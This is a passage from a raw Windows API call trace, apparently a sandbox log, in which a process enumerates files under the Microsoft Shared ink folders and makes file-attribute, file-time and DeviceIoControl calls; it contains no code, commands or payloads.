hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0234.498] GetLastError () returned 0x12 [0234.498] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9019a0) returned 1 [0234.498] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0234.498] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x901aa8) returned 1 [0234.498] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0234.498] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0234.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0234.499] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0234.499] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904be0 [0234.499] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x904be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0234.499] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904be0) returned 1 [0234.499] NtClose (Handle=0x1b0) returned 0x0 [0234.499] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.499] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.499] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.499] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.499] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0234.499] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.499] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.499] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.500] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.500] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.500] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.500] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.500] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0234.500] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.500] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904678 [0234.500] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.500] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.500] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.500] GetLastError () returned 0x12 [0234.500] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0234.500] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0234.500] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.500] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.500] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.500] GetLastError () returned 0x12 [0234.500] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.500] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.500] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0234.500] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.501] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0234.501] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0234.501] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0234.501] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904be0 [0234.501] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x904be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0234.501] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904be0) returned 1 [0234.501] NtClose (Handle=0x1bc) returned 0x0 [0234.501] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.501] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.501] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.501] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.501] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0234.502] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.502] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.502] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.502] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.502] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.502] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.502] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.502] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0234.502] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.502] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904698 [0234.502] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902818 [0234.502] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.502] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.502] GetLastError () returned 0x12 [0234.502] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0234.502] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.502] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.502] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.502] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.502] GetLastError () returned 0x12 [0234.502] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.502] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0234.503] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0234.503] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.503] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0234.503] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0234.503] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0234.503] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904be0 [0234.503] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x904be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0234.503] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904be0) returned 1 [0234.503] NtClose (Handle=0x1b0) returned 0x0 [0234.503] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.503] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.503] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.503] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.503] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0234.504] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.504] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.504] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.504] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0234.504] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9046b8 [0234.504] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902710 [0234.504] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.504] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.504] GetLastError () returned 0x12 [0234.504] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0234.504] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0234.504] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.504] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.504] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.504] GetLastError () returned 0x12 [0234.504] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.504] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.505] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0234.505] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.505] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0234.505] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, 